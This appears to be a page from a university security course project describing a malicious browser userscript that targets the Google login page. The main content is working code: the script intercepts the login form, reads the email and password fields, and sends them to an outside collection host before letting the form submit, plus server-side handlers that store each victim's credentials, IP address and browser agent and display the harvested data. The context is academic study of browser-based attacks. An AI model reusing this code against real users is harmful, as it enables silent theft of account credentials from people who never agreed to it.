Rice University logo
 
Top blue bar image Long Live Puppetnets!
A comp527 Project
 

Google login stealer

Our first malicious userscript targets the Google login page and tries to capture the usernames and passwords submitted to Google.


The userscript is quite simple, and gets its data from the fields in the gaia_loginform named Email and Passwd.

    function googleHack()
    {
        function sendPass(event)
        {
            event.preventDefault(); // stop form from being submitted by dropping the submit event

            var username = document.getElementById('Email').value;
            var password = document.getElementById('Passwd').value;

            requestToURL('http://puppetmaster.akshell.com/post.html', { 
                'hack': 'google',                          
                'url': document.location.href,             
                'username': username, 
                'password': password 
            });
            //alert('Sent: ' + username + ' ' + password);

            // submit form after some time to allow above request to be made
            window.setTimeout(function () { document.getElementById('gaia_loginform').submit(); }, 1000);
        }

        document.getElementById('gaia_loginform').addEventListener('submit', sendPass, false);
    } 

    function puppetHack()
    {
        if (document.location.href.indexOf('https://accounts.google.com/ServiceLogin') >= 0) { googleHack(); }
    }

    // script main
    window.addEventListener("load", puppetHack, false);

On the server side, we have setup an table in the database to hold entries we send to the server with the following fields:

  • hack: a different name for every type of hack we attempt
  • url: the URL where the script was active
  • ip: IP of the victim, obtained from the HTTP header
  • agent: browser agent of victim (also from HTTP header)
  • timestamp: current date
  • data: the rest of the request arguments.

The Akshell request handler which parses the GET request parameters and creates a new Entry looks like this:

var PostHandler = Handler.subclass(
  {
    get: function (request) {
      if (!request.get.hack) {
        request.get.hack = '[unknown]'
      }
      if (!request.get.url) {
        request.get.url = '[unknown]'
      }
      var data = getData(request.get);
      if (data) {
        rv.Entry.insert(
        {
          hack: request.get.hack,
          url: request.get.url,
          agent: request.headers['user-agent'],
          ip: request.headers['x-forwarded-for'],
          timestamp: new Date(),
          data: data
        });
      }
      return render(
        'post.html',
        {
          elements: toArray(request.get)
        });
    }
  });

To display the data collected so far, we’ve created this page, using the following mashup code:

{% extends 'base.html' %}

{% block title %}Data Store{% endblock %}

{% block content %}
  <h1>Current data:</h1>
  <ul>
    {% for entry in entries %}
      <li>
        {{ entry.id }}
        <ul>
          <li>Hackname: {{ entry.hack }}</li>
          <li>URL: {{ entry.url }}</li>
          <li>User-Agent: {{ entry.agent }}</li>
          <li>IP: {{ entry.ip }}</li>
          <li>Time: {{ entry.timestamp }}</li>
          <li>Data: {{ entry.data }}</li>
        </ul>
      </li>
    {% empty %}
      <li>No data received yet!</li>
    {% endfor %}
  </ul>
{% endblock %}

The Akshell handler simply returns all entries in the table:

// Handler to data display page
var DisplayHandler = Handler.subclass(
  {
    get: function (request) {
      return render(
        'display.html',
        {
          entries: rv.Entry.all().get({by: '-id'})
        });
    }
  });

 

Leave a Reply